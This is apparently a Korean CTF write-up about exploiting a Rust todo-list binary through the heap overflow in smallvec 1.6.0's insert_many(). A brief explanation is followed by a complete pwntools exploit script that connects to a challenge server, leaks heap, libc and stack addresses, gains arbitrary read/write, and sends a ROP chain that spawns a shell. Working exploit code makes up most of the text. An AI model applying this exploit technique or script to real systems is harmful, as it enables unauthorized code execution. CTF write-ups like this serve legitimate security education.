2024. 5. 17. 04:08ㆍCTF write up
RUST로 작성된 todo list 바이너리를 익스플로잇하는 문제다. 문제 설명에서 #![forbid(unsafe_code)]로 unsafe 코드 사용을 막았다고 겁준다.
thread 'main' panicked at 'assertion failed: index < len',
/usr/local/cargo/registry/src/github.com-1ecc6299db9ec823/
smallvec-1.6.0/src/lib.rs:983:13
아무거나 입력하다보면 패닉이 뜰때가 많은데, 이때 나오는 에러 메시지를 보면 smallvec 이라는 라이브러리를 사용한다는 것을 알 수 있다. smallvec-1.6.0 버전이라는 것도 알 수 있는데, 구버전이다.
Buffer overflow in `insert_many()` · Issue #252 · servo/rust-smallvec · GitHub
찾아보면 해당 버전의 insert_many() 함수에서 Heap Overflow가 발생한다는 것을 알 수 있다. 바이너리의 todo 체크를 하는 기능에서 insert_many 함수를 사용하고 있어서, 손 퍼징으로 "0,1,2,3" 같은 입력을 넣으면 insert_many 함수에 도달할 수 있다는 알아냈다.
insert_many 함수 내에 memmove 부분에 bp를 걸어서 디버깅해보면 Vector 청크가 늘어나지 않은 상태로 요소를 넣고 있다는 것을 알 수 있는데, 특정 힙 레이아웃에서 todo list 구조체의 size를 덮을 수 있다. 이후에는 print 기능으로 메모리 주소를 leak하고 todo list 구조체의 콘텐츠 메모리 주소를 덮어서 임의의 메모리 쓰기 / 읽기를 할 수 있다. 우분투 23.10 버전이라 흔히 쓰는 FSOP 기법은 안되니 environ을 유출해서 ROP를 하면 풀 수 있다.
from pwn import *
#p = process('./chall')
p = remote("172.20.36.128", 61408)
def add_to_do(name, content_length, content):
name = name if type(name) == bytes else name.encode()
content = content if type(content) == bytes else content.encode()
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Input name:', name)
p.sendlineafter(b'Input content size:', str(content_length).encode())
if content_length != 0:
p.sendlineafter(b'Input content:', content)
else:
p.sendlineafter(b'Input content:', b'4')
def mark_as_done(indexes, insert_index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'Input index:', ','.join(map(str, indexes)).encode())
p.sendlineafter(b'Input insert index:', str(insert_index).encode())
dummy_count = 7
for i in range(dummy_count):
add_to_do(f'Dummy{i}', 0, '')
mark_as_done([0], 0)
add_to_do(f'______', 4097, 'A')
mark_as_done(range(dummy_count - 1), 0)
nn = 0x400
add_to_do(f'targetX', nn, 'contentX')
p.sendlineafter(b'>', b'4')
p.recvuntil(b'targetX\n')
p.recvn(8)
heap_base = u64(p.recvn(8)) - 0x3f10
print(f'heap_base = {hex(heap_base)}'); raw_input()
time.sleep(0.5)
p.sendlineafter(b'>', b'4')
p.recvuntil(b'content: ')
data = p.recvn(nn)
for i in range(0,7):
print(i)
data = data[:0x120] + p64(heap_base+0xc00+0x400*i) + data[0x120+0x8:]
time.sleep(0.1)
p.sendline(b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)
p.sendlineafter(b'>', b'4')
#p.recvuntil(b'\x7f')
libc_base = u64(p.recvuntil(b'\x7f', timeout=3)[-6:].ljust(8,b'\x00'))
if libc_base != 0:
break
p.clean()
libc_base = libc_base - 0x1fed30
print(f'libc_base = {hex(libc_base)}'); raw_input()
data = data[:0x120] + p64(libc_base+0x206258) + data[0x120+0x8:]
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)
p.sendlineafter(b'>', b'4')
p.recvuntil(b'[01]: name: targetX')
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3b0
print(f'stack = {hex(stack)}'); raw_input()
#0x00007fff2e32edf8
data = data[:0x120] + p64(stack) + data[0x120+0x8:]
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)
pay = b''
pay += p64(libc_base+0x0000000000028ac2)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x0000000000028795)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x552b0)
pay += p64(0xdeadbeef)
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'1')
p.sendlineafter(b':', pay)
p.interactive()